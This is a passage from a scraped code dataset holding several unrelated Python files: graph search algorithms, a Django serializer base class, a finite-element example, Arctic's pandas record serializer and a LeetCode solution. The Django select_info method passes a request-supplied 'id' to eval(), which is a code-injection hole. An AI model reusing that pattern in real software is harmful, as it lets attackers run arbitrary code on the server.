start not in visited:\n visited[start] = True\n path.append(start)\n\n if end_node_name in self.graph[start]:\n path.append(end_node_name)\n return path\n else:\n route = self.graph[start]\n for end in route:\n if end not in visited:\n visited[end] = True\n queue.enQueue(end)\n\n return None\n\n def bfs_search_all_from_one_node(self,start_node_name):\n if (start_node_name not in self.graph):\n return None\n else:\n path = []\n\n queue = Queue()\n visited = {}\n queue.enQueue(start_node_name)\n\n while queue.front() is not None:\n\n # 类似 info = {0:{1:7, 3:3, 4:3, 5:2}}\n start = queue.deQueue()\n\n visited[start] = True\n path.append(start)\n\n if len(visited) == len(self.graph):\n while queue.front() is not None:\n path.append(queue.deQueue())\n return path\n else:\n route = self.graph[start]\n for end in route:\n if end not in visited:\n visited[end] = True\n queue.enQueue(end)\n return None\n\n # uniform_cost_search\n def dijkstra(self,start_node_name,end_node_name):\n if (start_node_name in self.graph) and (end_node_name in self.graph):\n if start_node_name is end_node_name:\n return {\"path\":[start_node_name],\"min_distance\":0}\n else:\n # 根据graph算出来的各节点到其他节点的距离,不能直接到达的用的是整数的最大值\n distance = self.__get_dijkstra_distance()\n # 初始节点到其他节点的距离,不能直接到达的用的是整数的最大值\n start_node_route = distance[start_node_name].copy()\n\n # 储存初始节点到各个节点的已探测的最小路程路线\n explored_paths = {}\n while len(start_node_route) is not 0:\n # 初始节点 到 各个未被探测最短距离的节点 中距离最短的节点\n min_key = self.__find_positive_min_in_dict(start_node_route)\n\n path = [start_node_name,min_key]\n\n # 初始节点 到 该未被探测节点 的距离\n min_distance = start_node_route[min_key]\n for node in explored_paths:\n last_node_in_path = explored_paths[node][\"path\"][-1]\n explored_distance = explored_paths[node][\"min_distance\"] + distance[last_node_in_path][min_key]\n\n if explored_distance < min_distance:\n path = explored_paths[node][\"path\"].copy()\n path.append(min_key)\n min_distance = explored_distance\n explored_paths[min_key] = {\"path\": path, \"min_distance\": min_distance}\n del start_node_route[min_key]\n\n # for node in explored_paths:\n # explored_paths[node][\"path\"].insert(0,start_node_name)\n return explored_paths[end_node_name]\n return None\n\n def greedy_search_shortest_path(self,start_node_name,end_node_name,info):\n if (start_node_name not in self.graph) or (end_node_name not in self.graph) :\n return None\n else:\n path = []\n queue = MinPriorityQueue()\n visited = {}\n\n if start_node_name in info:\n queue.en_queue_with_priority(info[start_node_name],start_node_name)\n\n while queue.front() is not None:\n start = queue.deQueue()\n if start not in visited:\n visited[start] = True\n path.append(start)\n\n if start is not end_node_name:\n route = self.graph[start]\n for end in route:\n if end not in visited:\n visited[end] = True\n queue.en_queue_with_priority(info[end], end)\n else:\n return path\n return None\n\n def a_star_search_shortest_path(self,start_node_name,end_node_name,info):\n if (start_node_name in self.graph) and (end_node_name in self.graph):\n if start_node_name == end_node_name:\n return {\"path\":[start_node_name],\"min_distance\":0}\n else:\n # 根据graph算出来的各节点到其他节点的距离,不能直接到达的用的是整数的最大值\n distance = self.__get_dijkstra_distance()\n\n start_node_route = distance[start_node_name].copy()\n\n queue = MinPriorityQueue()\n priority = 0 + info[start_node_name]\n queue.en_queue_with_priority(priority,start_node_name)\n\n visited = {}\n # 储存初始节点到各个节点的已探测的最小路程路线\n explored_paths = {start_node_name: {\"path\": [start_node_name], \"min_distance\": 0}}\n while queue.front() is not None:\n # 初始节点 到 各个未被探测最短距离的节点 中距离最短的节点\n new_node_name = queue.deQueue()\n # print(\"***********************\")\n # print(new_node_name)\n visited[new_node_name] = True\n linked_nodes = self.graph[new_node_name]\n\n # for explored_node_name in explored_paths:\n\n for linked_node_name in linked_nodes:\n if linked_node_name == start_node_name:\n continue\n path = [start_node_name,linked_node_name]\n min_distance = 0\n # print(\"\\tlinked_node_name: \",linked_node_name)\n if linked_node_name != start_node_name:\n min_distance = start_node_route[linked_node_name]\n\n # 寻找出发节点到 该 linked_node 的最小距离\n for explored_node_name in explored_paths:\n if linked_node_name == explored_node_name:\n break\n explored_node_info = explored_paths[explored_node_name]\n\n\n # print(\"\\t\\texplored_node_name: \",explored_node_name,explored_node_info)\n\n\n explored_to_distance = explored_node_info[\"min_distance\"] + distance[explored_node_name][linked_node_name]\n if explored_to_distance < min_distance:\n path = explored_paths[explored_node_name][\"path\"].copy()\n path.append(linked_node_name)\n min_distance = explored_to_distance\n # 储存出发节点到 该 linked_node 的最小距离\n explored_paths[linked_node_name] = {\"path\": path, \"min_distance\": min_distance}\n\n priority = min_distance + info[linked_node_name]\n\n if (linked_node_name == end_node_name) and (queue.front() is None or priority < queue.front()[0]):\n return explored_paths[end_node_name]\n else:\n if linked_node_name not in visited:\n queue.en_queue_with_priority(priority, linked_node_name)\n return explored_paths[end_node_name]\n else:\n return None\n\n def __find_positive_min_in_dict(self,dict):\n min_key = -1\n min_value = sys.maxsize + 1\n\n for key in dict:\n if (dict[key] < min_value):\n min_value = dict[key]\n min_key = key\n if min_key is not -1:\n return min_key\n else:\n return key\n\n def __get_dijkstra_distance(self):\n # in distance_initial -1 instead of infinite\n # 初始化所有节点的到所有节点的距离 无法直接到达的用 sys.maxsize 表示\n distance = copy.deepcopy(self.graph)\n for node in distance:\n route = distance[node]\n for node_2 in distance:\n if node_2 is not node and (node_2 not in route):\n route[node_2] = sys.maxsize\n return distance\n\n# for test\nif __name__ == \"__main__\":\n graph_test=\\\n {\n \"Arad\":{\"Zerind\":75,\"sibiu\":140,\"Timisoara\":118},\n \"Zerind\":{\"Arad\":75,\"Oradea\":71},\n \"Oradea\":{\"Zerind\":71,\"sibiu\":151},\n \"sibiu\":{\"Arad\":140,\"Oradea\":151,\"Rimnicu Vilcea\":80,\"Fagaras\":99},\n \"Fagaras\":{\"sibiu\":99,\"Bucharest\":211},\n \"Timisoara\":{\"Arad\":118,\"Lugoj\":111},\n \"Lugoj\":{\"Timisoara\":111,\"Mehadia\":70},\n \"Mehadia\":{\"Lugoj\":70,\"Dobreta\":75},\n \"Dobreta\":{\"Mehadia\":75,\"Craiova\":120},\n \"Craiova\":{\"Dobreta\":120,\"Rimnicu Vilcea\":146,\"Pitesti\":138},\n \"Rimnicu Vilcea\":{\"sibiu\":80,\"Pitesti\":97,\"Craiova\":146},\n \"Pitesti\":{\"Rimnicu Vilcea\":97,\"Craiova\":138,\"Bucharest\":101},\n \"Bucharest\": {\"Pitesti\": 101, \"Fagaras\": 211}\n }\n \n graph = Graph(graph_test)\n\n # print(graph.dfs_search_any_path(\"Arad\",\"Bucharest\"))\n #\n # print(graph.dfs_search_all_from_one_node(\"Arad\"))\n\n # print(graph.bfs_search_any_path(\"Arad\",\"Bucharest\"))\n\n # print(graph.bfs_search_all_from_one_node(\"Arad\"))\n\n nodes_to_end_info = \\\n {\n \"Arad\":366,\n \"Bucharest\":0,\n \"Craiova\":160,\n \"Dobreta\":242,\n \"Eforie\":161,\n \"Fagaras\":178,\n \"Giurgiu\":77,\n \"Hirsova\":151,\n \"Iasi\":226,\n \"Lugoj\":244,\n \"Mehadia\":241,\n \"Neamt\":234,\n \"Oradea\":380,\n \"Pitesti\":98,\n \"Rimnicu Vilcea\":193,\n \"sibiu\":253,\n \"Timisoara\":329,\n \"Urziceni\":80,\n \"Vaslui\":199,\n \"Zerind\":374\n }\n\n start1 = time.clock()\n print(graph.dijkstra(\"Arad\",\"Bucharest\"))\n graph.dijkstra(\"Arad\", \"Bucharest\")\n stop1 = time.clock()\n print(\"time: %f\"%(stop1-start1))\n\n # start2 = time.clock()\n # print(graph.greedy_search_shortest_path(\"Arad\",\"Bucharest\",nodes_to_end_info))\n # stop2 = time.clock()\n # print(\"time: %f\"%(stop2-start2))\n\n\n # # # print(graph.a_star_search_shortest_path(\"Arad\",\"Bucharest\",nodes_to_end_info))\n\n start3 = time.clock()\n # print(graph.a_star_search_shortest_path(\"Arad\",\"Bucharest\",nodes_to_end_info))\n graph.a_star_search_shortest_path(\"Arad\", \"Bucharest\", nodes_to_end_info)\n stop3 = time.clock()\n print(\"time: %f\"%(stop3-start3))","repo_name":"alanzhchou/python_spider_learning","sub_path":"AI/start/BFS_and_DFS/search_method_for_graph.py","file_name":"search_method_for_graph.py","file_ext":"py","file_size_in_byte":14868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35820950919","text":"import datetime\nimport logging\nfrom django.db.models.manager import Manager\nfrom django.db.utils import IntegrityError\nimport os\nfrom django.db.models import Count\n\nfrom big_screen.utils import sys_setting as code\nfrom con_control.models import MobileInfo, MonitorInfo, District\nfrom big_screen.utils import re_format as f\n\nerrlog = logging.getLogger(\"Process\")\n\n\nclass SerTable:\n def __init__(self):\n self.table = Manager\n self.mob = MobileInfo.objects\n self.dis = District.objects\n self.mon = MonitorInfo.objects\n\n # ---------------- 新方法 ---------------------\n # *************** 基本功能 *******************\n def traversal(self):\n \"\"\"\n 遍历\n :return:\n \"\"\"\n return self.table.all()\n\n def select(self, *args, **kwargs):\n \"\"\"\n 查询数据库\n :param args:\n :param kwargs:\n :return:\n \"\"\"\n select_dict = kwargs.get(\"select_dict\")\n return self.table.filter(**select_dict)\n\n # *************** 分页 **************\n def page(self, *args, **kwargs):\n \"\"\"\n 分页器\n :param args:\n :param kwargs:\n :return:\n \"\"\"\n query = kwargs.get(\"query\")\n page = int(kwargs.get(\"page\"))\n limit = int(kwargs.get(\"limit\"))\n content = [info for info in query]\n start = (page - 1) * limit\n end = page * limit\n return content[start:end]\n\n # ------------------ 旧方法 --------------------\n def get_id_list(self):\n \"\"\"\n 返回id列表\n :return:\n \"\"\"\n content = list(self.table.all().values(\"id\", \"name\"))\n return content\n\n def get_info(self, *args):\n \"\"\"\n 获取表数据\n :return:\n \"\"\"\n content = list(self.table.all().values())\n content = self.formatter_content(content)\n return content\n\n def get_info_select(self):\n \"\"\"\n 获取下拉框列表\n :return:\n \"\"\"\n content = list(self.table.all().values(\"name\", \"num\"))\n content = self.formatter_content(content)\n return content\n\n def get_info_list(self):\n \"\"\"\n 获取一个名单\n :return:\n \"\"\"\n info_list = self.table.all().values(\"name\")\n content = list()\n for info in list(info_list):\n content.append(info.get(\"name\"))\n return content\n\n def select_info(self, select_dict):\n \"\"\"\n 检索表数据,没检索到返回None\n :param select_dict:\n :return:\n \"\"\"\n # if type(select_dict) is not dict:\n # return {\"code\": code.STATUSCODE_UNSUCCESS, \"msg\": \"参数必须为一个字典\"}\n keys = select_dict.keys()\n _query = list()\n if \"s_time\" in keys and \"e_time\" in keys:\n s_time = datetime.datetime.strptime(select_dict[\"s_time\"], code.DATA_FORMATTER)\n e_time = datetime.datetime.strptime(select_dict[\"e_time\"], code.DATA_FORMATTER)\n _query = self.table.filter(time__gte=s_time, time__lte=e_time).values()\n if \"id\" in keys:\n _id = eval(select_dict[\"id\"])\n if type(_id) is not int:\n return {\"code\": code.STATUSCODE_UNSUCCESS, \"msg\": \"id必须为正整数\"}\n _query = self.table.filter(id=_id).values()\n if \"mobile\" in keys:\n mobile = select_dict.get(\"mobile\")\n _query = self.table.filter(mobile__mobile=mobile).values()\n if \"adcode\" in keys:\n adcode = select_dict.get(\"adcode\")\n if type(adcode) is list:\n adcode = adcode[0]\n _query = self.table.filter(adcode=adcode).values()\n content = self.formatter_content(list(_query))\n return content\n\n # def insert_info(self, insert_dict):\n def insert_info(self, *args, **kwargs):\n # def insert_info(self,**kwargs):\n \"\"\"\n 加入表数据\n :return:\n \"\"\"\n try:\n obj = self.table.create(**kwargs)\n obj.save()\n except IntegrityError as e:\n raise e\n else:\n con = {\"code\": code.STATUSCODE_SUCCESS, \"msg\": \"添加成功\"}\n return con\n\n def delete_info(self, delete_dict):\n \"\"\"\n 删除表数据\n :param delete_dict:\n :return:\n \"\"\"\n if \"id\" in delete_dict.keys():\n self.table.get(id=delete_dict.get(\"id\")).delete()\n return {\"code\": code.STATUSCODE_SUCCESS, \"msg\": \"删除成功\"}\n else:\n return {\"code\": code.STATUSCODE_UNSUCCESS, \"msg\": \"无关键信息\"}\n\n def update_info(self, update_dict):\n \"\"\"\n 更改表数据\n :param update_dict:\n :return:\n \"\"\"\n if \"id\" in update_dict.keys():\n try:\n self.table.filter(id=update_dict.get(\"id\")).update(**update_dict)\n except Exception as e:\n raise e\n else:\n con = {\n \"code\": code.STATUSCODE_SUCCESS,\n \"msg\": \"修改成功\"\n }\n else:\n con = {\n \"code\": code.STATUSCODE_UNSUCCESS,\n \"msg\": \"无关键信息\"\n }\n return con\n\n def formatter_content(self, content):\n result = list()\n for con in content:\n keys = con.keys()\n if \"time\" in keys:\n con[\"time\"] = datetime.datetime.strftime(con[\"time\"], code.DATA_FORMATTER)\n if \"record\" in keys:\n con[\"record\"] = \"/m/\" + con[\"record\"]\n if \"mobile\" in keys:\n if type(con[\"mobile\"]) is not str:\n con[\"mobile\"] = con[\"mobile\"].mobile\n # 判断音频文件是否存在\n\n record = con.get(\"record\")\n if record != None:\n record = record.split(\"/\")[2]\n recordName = code.file_DIR + \"/\" + record\n con[\"recordExist\"] = os.path.exists(recordName)\n result.append(con)\n return result\n\n def formatter_foreign_content(self, content):\n \"\"\"\n\n :param content:\n :return:\n \"\"\"\n keys = content.keys()\n if \"mobile\" in keys:\n try:\n content[\"mobile\"] = self.mob.get(mobile=content.get(\"mobile\"))\n except MobileInfo.DoesNotExist as e:\n raise e\n if \"district\" in keys:\n try:\n content[\"district_num\"] = content.get(\"district\")\n content[\"district\"] = self.dis.get(id=content.get(\"district\")).name\n except self.dis.model.DoesNotExist:\n content[\"district_num\"] = f.UNKNOW_DISTRICT\n content[\"district\"] = self.dis.get(adcode=f.UNKNOW_DISTRICT).name\n return content\n\n # ------------ 统计 ------------------\n def summaryByColumn(self, columnName):\n \"\"\"\n 按照字段名进行统计\n :param columnName:\n :return:\n \"\"\"\n return self.table.values(columnName).annotate(count=Count(columnName))\n\n # ---------- 工具 -------------------\n def queryToList(self, querySet):\n \"\"\"\n 查询集转化为列表\n :param querySet:\n :return:\n \"\"\"\n return [dict(obj) for obj in querySet]\n","repo_name":"15653391491/black-broadcast-back-end","sub_path":"big_screen/serialization/baseSerialization.py","file_name":"baseSerialization.py","file_ext":"py","file_size_in_byte":7345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"20908222910","text":"#!/usr/bin/env python\nfrom afepy import *\nfrom meshes import mesh_3d_xml\npprecision(2)\n\nmesh = Mesh(file=mesh_3d_xml)\nmat = Material(name=\"Mat-1\", model=\"elastic\", parameters=[100., .3])\n\nEl = FiniteElement(\"HEX8\", mat)\nV = FiniteElementSpace(mesh, {\"Block-1\": El})\n\nbcs = []\nbcs.append(DirichletBC(V, nodeset=\"Nodeset-1\", dofs=\"XYZ\", mag=0.))\nbcs.append(DirichletBC(V, nodeset=\"Nodeset-2\", components=(0,-.2,0)))\n\nu = SolutionSpace(V)\nStaticLinearSolve(V, u, bcs) #, increments=2, linstiff=True, maxiters=10, period=1., relax=1., tolerance=.0001)\nfile = ExodusIIFile(\"single_hex.exo\")\nfile << u\n","repo_name":"tjfulle/Legacy","sub_path":"afepy/examples/single_hex.py","file_name":"single_hex.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25277864379","text":"import datetime\nimport logging\nfrom typing import List, Optional, Union\n\nimport dateutil\nimport numpy as np\nfrom pandas import DataFrame, MultiIndex, Series, DatetimeIndex, Index\nimport pandas as pd\n\n# Used in global scope, do not remove.\nfrom .._config import FAST_CHECK_DF_SERIALIZABLE\nfrom .._util import NP_OBJECT_DTYPE\nfrom ..exceptions import ArcticException\n\ntry: # 1.3.0+ Compatibility\n from pandas._libs.tslibs.timezones import is_utc\nexcept ImportError: # < 1.3.0, this function is unavailable, but should never be called. Stub to satisfy linting.\n def is_utc(tz):\n raise AssertionError(\"Should never be called for Pandas versions where this is not an exported function\")\n\ntry: # 0.21+ Compatibility\n from pandas._libs.tslib import Timestamp\n from pandas._libs.tslibs.timezones import get_timezone\nexcept ImportError:\n try: # 0.20.x Compatibility\n from pandas._libs.tslib import Timestamp, get_timezone\n except ImportError: # <= 0.19 Compatibility\n from pandas.tslib import Timestamp, get_timezone\n\n\nlog = logging.getLogger(__name__)\nPD_VER = pd.__version__\nDTN64_DTYPE = 'datetime64[ns]'\n\n\ndef set_fast_check_df_serializable(config):\n global FAST_CHECK_DF_SERIALIZABLE\n FAST_CHECK_DF_SERIALIZABLE = bool(config)\n\n\ndef _to_primitive(arr, string_max_len=None, forced_dtype=None):\n if arr.dtype.hasobject:\n if len(arr) > 0 and isinstance(arr[0], Timestamp):\n return np.array([t.value for t in arr], dtype=DTN64_DTYPE)\n\n if forced_dtype is not None:\n casted_arr = arr.astype(dtype=forced_dtype, copy=False)\n elif string_max_len is not None:\n casted_arr = np.array(arr.astype('U{:d}'.format(string_max_len)))\n else:\n casted_arr = np.array(list(arr))\n\n # Pick any unwanted data conversions (e.g. np.NaN to 'nan')\n if np.array_equal(arr, casted_arr):\n return casted_arr\n return arr\n\n\ndef treat_tz_as_dateutil(tz) -> bool:\n \"\"\"\n Return whether the given tz object is from `dateutil`\n\n Vendored from Pandas:\n https://github.com/pandas-dev/pandas/blob/v1.3.5/pandas/_libs/tslibs/timezones.pyx#L66-L67\n \"\"\"\n return hasattr(tz, '_trans_list') and hasattr(tz, '_trans_idx')\n\n\ndef consistent_get_timezone_str(tz: Union[datetime.tzinfo, str]) -> str:\n \"\"\"\n Convert a tzinfo object to a serializable string\n\n Unlike the Pandas `get_timezone` function, this function should always return a string.\n \"\"\"\n if isinstance(tz, str):\n return tz\n\n # The behaviour of Pandas' `get_timezone()` for UTC `tzinfo`s differs across versions.\n # This is due to either changes to the underlying `is_utc()` function, or the behaviour when it returns `True`.\n #\n # Differing implementations:\n # `pandas` 0.22.0 - https://github.com/pandas-dev/pandas/blob/v0.22.0/pandas/_libs/tslibs/timezones.pyx#L71-L72\n # - Returns \"UTC\" for UTC `tzinfo`s, except:\n # - `dateutil.tz.gettz(\"UTC\")` - Returns a string like \"dateutil//usr/share/zoneinfo/UTC\"\n # `pandas` 0.24.0 - https://github.com/pandas-dev/pandas/blob/v0.24.0/pandas/_libs/tslibs/timezones.pyx#L59-L60\n # - Returns the `tzinfo` object for UTC `tzinfo`s except:\n # - `dateutil.tz.gettz(\"UTC\")` - Returns a string like \"dateutil//usr/share/zoneinfo/UTC\"\n # `pandas` 1.3.0 - https://github.com/pandas-dev/pandas/blob/v1.3.0/pandas/_libs/tslibs/timezones.pyx#L53\n # - Returns the `tzinfo` object for UTC `tzinfo`s (including `dateutil.tz.gettz(\"UTC\")`)\n if PD_VER < \"0.24.0\":\n return str(get_timezone(tz))\n\n # Special case for `dateutil.tz.tzutc()` as `str(dateutil.tz.tzutc()) == \"tzutc()\"` and pandas does not know\n # how to parse this.\n if isinstance(tz, dateutil.tz.tzutc):\n return \"UTC\"\n\n if PD_VER < \"1.3.0\":\n return str(get_timezone(tz))\n\n # Special case for `dateutil.tz.gettz(\"UTC\")` to ensure we always return a 'dateutil/...' string:\n if is_utc(tz) and treat_tz_as_dateutil(tz):\n return \"dateutil/\" + tz._filename\n\n return str(get_timezone(tz))\n\n\ndef _multi_index_to_records(index, empty_index):\n # array of tuples to numpy cols. copy copy copy\n if not empty_index:\n ix_vals = list(map(np.array, [index.get_level_values(i) for i in range(index.nlevels)]))\n else:\n # empty multi index has no size, create empty arrays for recarry.\n ix_vals = [np.array([]) for n in index.names]\n index_names = list(index.names)\n count = 0\n for i, n in enumerate(index_names):\n if n is None:\n index_names[i] = 'level_%d' % count\n count += 1\n log.info(\"Level in MultiIndex has no name, defaulting to %s\" % index_names[i])\n index_tz = []\n for i in index.levels:\n if isinstance(i, DatetimeIndex) and i.tz is not None:\n index_tz.append(consistent_get_timezone_str(i.tz))\n else:\n index_tz.append(None)\n\n return ix_vals, index_names, index_tz\n\n\nclass PandasSerializer(object):\n\n def _index_to_records(self, df):\n metadata = {}\n index = df.index\n index_tz: Union[Optional[str], List[Optional[str]]]\n\n if isinstance(index, MultiIndex):\n ix_vals, index_names, index_tz = _multi_index_to_records(index, len(df) == 0)\n else:\n ix_vals = [index.values]\n index_names = list(index.names)\n if index_names[0] is None:\n index_names = ['index']\n log.info(\"Index has no name, defaulting to 'index'\")\n if isinstance(index, DatetimeIndex) and index.tz is not None:\n index_tz = consistent_get_timezone_str(index.tz)\n else:\n index_tz = None\n\n if index_tz is not None:\n metadata['index_tz'] = index_tz\n metadata['index'] = index_names\n\n return index_names, ix_vals, metadata\n\n def _index_from_records(self, recarr):\n index = recarr.dtype.metadata['index']\n\n if len(index) == 1:\n rtn = Index(np.copy(recarr[str(index[0])]), name=index[0])\n if isinstance(rtn, DatetimeIndex) and 'index_tz' in recarr.dtype.metadata:\n if PD_VER >= '1.0.4':\n if isinstance(recarr.dtype.metadata['index_tz'], list):\n rtn = rtn.tz_localize('UTC').tz_convert(recarr.dtype.metadata['index_tz'][0])\n else:\n rtn = rtn.tz_localize('UTC').tz_convert(recarr.dtype.metadata['index_tz'])\n else:\n rtn = rtn.tz_localize('UTC').tz_convert(recarr.dtype.metadata['index_tz'])\n else:\n level_arrays = []\n index_tz = recarr.dtype.metadata.get('index_tz', [])\n for level_no, index_name in enumerate(index):\n # build each index level separately to ensure we end up with the right index dtype\n level = Index(np.copy(recarr[str(index_name)]))\n if level_no < len(index_tz):\n tz = index_tz[level_no]\n if tz is not None:\n if not isinstance(level, DatetimeIndex) and len(level) == 0:\n # index type information got lost during save as the index was empty, cast back\n level = DatetimeIndex([], tz=tz)\n else:\n level = level.tz_localize('UTC').tz_convert(tz)\n level_arrays.append(level)\n rtn = MultiIndex.from_arrays(level_arrays, names=index)\n return rtn\n\n def _to_records(self, df, string_max_len=None, forced_dtype=None):\n \"\"\"\n Similar to DataFrame.to_records()\n Differences:\n Attempt type conversion for pandas columns stored as objects (e.g. strings),\n as we can only store primitives in the ndarray.\n Use dtype metadata to store column and index names.\n\n string_max_len: integer - enforces a string size on the dtype, if any\n strings exist in the record\n \"\"\"\n\n index_names, ix_vals, metadata = self._index_to_records(df)\n columns, column_vals, multi_column = self._column_data(df)\n\n if \"\" in columns:\n raise ArcticException(\"Cannot use empty string as a column name.\")\n\n if multi_column is not None:\n metadata['multi_column'] = multi_column\n metadata['columns'] = columns\n names = index_names + columns\n\n arrays = []\n for arr, name in zip(ix_vals + column_vals, index_names + columns):\n arrays.append(_to_primitive(arr, string_max_len,\n forced_dtype=None if forced_dtype is None else forced_dtype[name]))\n\n if forced_dtype is None:\n dtype = np.dtype([(str(x), v.dtype) if len(v.shape) == 1 else (str(x), v.dtype, v.shape[1])\n for x, v in zip(names, arrays)],\n metadata=metadata)\n else:\n dtype = forced_dtype\n\n # The argument names is ignored when dtype is passed\n rtn = np.rec.fromarrays(arrays, dtype=dtype, names=names)\n # For some reason the dtype metadata is lost in the line above\n # and setting rtn.dtype to dtype does not preserve the metadata\n # see https://github.com/numpy/numpy/issues/6771\n\n return (rtn, dtype)\n\n def fast_check_serializable(self, df):\n \"\"\"\n Convert efficiently the frame's object-columns/object-index/multi-index/multi-column to\n records, by creating a recarray only for the object fields instead for the whole dataframe.\n If we have no object dtypes, we can safely convert only the first row to recarray to test if serializable.\n Previously we'd serialize twice the full dataframe when it included object fields or multi-index/columns.\n\n Parameters\n ----------\n df: `pandas.DataFrame` or `pandas.Series`\n\n Returns\n -------\n `tuple[numpy.core.records.recarray, dict[str, numpy.dtype]`\n If any object dtypes are detected in columns or index will return a dict with field-name -> dtype\n mappings, and empty dict otherwise.\n \"\"\"\n i_dtype, f_dtypes = df.index.dtype, df.dtypes\n index_has_object = df.index.dtype is NP_OBJECT_DTYPE\n fields_with_object = [f for f in df.columns if f_dtypes[f] is NP_OBJECT_DTYPE]\n if df.empty or (not index_has_object and not fields_with_object):\n arr, _ = self._to_records(df.iloc[:10]) # only first few rows for performance\n return arr, {}\n # If only the Index has Objects, choose a small slice (two columns if possible,\n # to avoid switching from a DataFrame to a Series)\n df_objects_only = df[fields_with_object if fields_with_object else df.columns[:2]]\n # Let any exceptions bubble up from here\n arr, dtype = self._to_records(df_objects_only)\n return arr, {f: dtype[f] for f in dtype.names}\n\n def can_convert_to_records_without_objects(self, df, symbol):\n # We can't easily distinguish string columns from objects\n try:\n # TODO: we can add here instead a check based on df size and enable fast-check if sz > threshold value\n if FAST_CHECK_DF_SERIALIZABLE:\n arr, _ = self.fast_check_serializable(df)\n else:\n arr, _ = self._to_records(df)\n except Exception as e:\n # This exception will also occur when we try to write the object so we fall-back to saving using Pickle\n log.warning('Pandas dataframe %s caused exception \"%s\" when attempting to convert to records. '\n 'Saving as Blob.' % (symbol, repr(e)))\n return False\n else:\n if arr.dtype.hasobject:\n log.warning('Pandas dataframe %s contains Objects, saving as Blob' % symbol)\n # Fall-back to saving using Pickle\n return False\n elif any([len(x[0].shape) for x in arr.dtype.fields.values()]):\n log.warning('Pandas dataframe %s contains >1 dimensional arrays, saving as Blob' % symbol)\n return False\n else:\n return True\n\n def serialize(self, item, string_max_len=None, forced_dtype=None):\n raise NotImplementedError\n\n def deserialize(self, item, force_bytes_to_unicode=False):\n raise NotImplementedError\n\n\nclass SeriesSerializer(PandasSerializer):\n TYPE = 'series'\n\n def _column_data(self, s):\n if s.name is None:\n log.info(\"Series has no name, defaulting to 'values'\")\n columns = [s.name if s.name else 'values']\n column_vals = [s.values]\n return columns, column_vals, None\n\n def deserialize(self, item, force_bytes_to_unicode=False):\n index = self._index_from_records(item)\n name = item.dtype.names[-1]\n data = item[name]\n\n if force_bytes_to_unicode:\n if len(data) and isinstance(data[0], bytes):\n data = data.astype('unicode')\n\n if isinstance(index, MultiIndex):\n unicode_indexes = []\n # MultiIndex requires a conversion at each level.\n for level in range(len(index.levels)):\n _index = index.get_level_values(level)\n if isinstance(_index[0], bytes):\n _index = _index.astype('unicode')\n unicode_indexes.append(_index)\n index = unicode_indexes\n else:\n if len(index) and type(index[0]) == bytes:\n index = index.astype('unicode')\n\n if PD_VER < '0.23.0':\n return Series.from_array(data, index=index, name=name)\n else:\n return Series(data, index=index, name=name)\n\n def serialize(self, item, string_max_len=None, forced_dtype=None):\n return self._to_records(item, string_max_len, forced_dtype)\n\n\nclass DataFrameSerializer(PandasSerializer):\n TYPE = 'df'\n\n def _column_data(self, df):\n columns = list(map(str, df.columns))\n if columns != list(df.columns):\n log.info(\"Dataframe column names converted to strings\")\n column_vals = [df[c].values for c in df.columns]\n\n if isinstance(df.columns, MultiIndex):\n ix_vals, ix_names, _ = _multi_index_to_records(df.columns, False)\n vals = [list(val) for val in ix_vals]\n str_vals = [list(map(str, val)) for val in ix_vals]\n if vals != str_vals:\n log.info(\"Dataframe column names converted to strings\")\n return columns, column_vals, {\"names\": list(ix_names), \"values\": str_vals}\n else:\n return columns, column_vals, None\n\n def deserialize(self, item, force_bytes_to_unicode=False):\n index = self._index_from_records(item)\n column_fields = [x for x in item.dtype.names if x not in item.dtype.metadata['index']]\n multi_column = item.dtype.metadata.get('multi_column')\n if len(item) == 0:\n rdata = item[column_fields] if len(column_fields) > 0 else None\n if multi_column is not None:\n columns = MultiIndex.from_arrays(multi_column[\"values\"], names=multi_column[\"names\"])\n return DataFrame(rdata, index=index, columns=columns)\n else:\n return DataFrame(rdata, index=index)\n\n columns = item.dtype.metadata['columns']\n df = DataFrame(data=item[column_fields], index=index, columns=columns)\n\n if multi_column is not None:\n df.columns = MultiIndex.from_arrays(multi_column[\"values\"], names=multi_column[\"names\"])\n\n if force_bytes_to_unicode:\n # This is needed due to 'str' type in py2 when read back in py3 is 'bytes' which breaks the workflow\n # of people migrating to py3. # https://github.com/manahl/arctic/issues/598\n # This should not be used for a normal flow, and you should instead of writing unicode strings\n # if you want to work with str in py3.,\n\n for c in df.select_dtypes(object):\n # The conversion is not using astype similar to the index as pandas has a bug where it tries to convert\n # the data columns to a unicode string, and the object in this case would be bytes, eg. b'abc'\n # which is converted to u\"b'abc'\" i.e it includes the b character as well! This generally happens\n # when there is a str conversion without specifying the encoding. eg. str(b'abc') -> \"b'abc'\" and the\n # fix for this is to tell it the encoding to use: i.e str(b'abc', 'utf-8') -> \"abc\"\n if type(df[c].iloc[0]) == bytes:\n df[c] = df[c].str.decode('utf-8')\n\n if isinstance(df.index, MultiIndex):\n unicode_indexes = []\n # MultiIndex requires a conversion at each level.\n for level in range(len(df.index.levels)):\n _index = df.index.get_level_values(level)\n if isinstance(_index[0], bytes):\n _index = _index.astype('unicode')\n unicode_indexes.append(_index)\n df.index = unicode_indexes\n else:\n if type(df.index[0]) == bytes:\n df.index = df.index.astype('unicode')\n\n if not df.columns.empty and type(df.columns[0]) == bytes:\n df.columns = df.columns.astype('unicode')\n\n return df\n\n def serialize(self, item, string_max_len=None, forced_dtype=None):\n return self._to_records(item, string_max_len, forced_dtype)\n","repo_name":"man-group/arctic","sub_path":"arctic/serialization/numpy_records.py","file_name":"numpy_records.py","file_ext":"py","file_size_in_byte":17767,"program_lang":"python","lang":"en","doc_type":"code","stars":3002,"dataset":"github-code","pt":"62"} +{"seq_id":"6525161528","text":"class Solution:\n def twoCitySchedCost(self, costs: List[List[int]]) -> int:\n for i in range(len(costs)):\n costs[i].append(costs[i][0]-costs[i][1])\n \n costs.sort(key=lambda x:x[2])\n \n tot = 0\n for idx in range(len(costs)):\n if idx+1 <= len(costs)//2:\n tot += costs[idx][0]\n print(costs[idx])\n else:\n tot += costs[idx][1]\n \n return tot","repo_name":"keba-python/A2SV_programming","sub_path":"two-city-scheduling.py","file_name":"two-city-scheduling.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"35929546221","text":"import string\n\nfrom 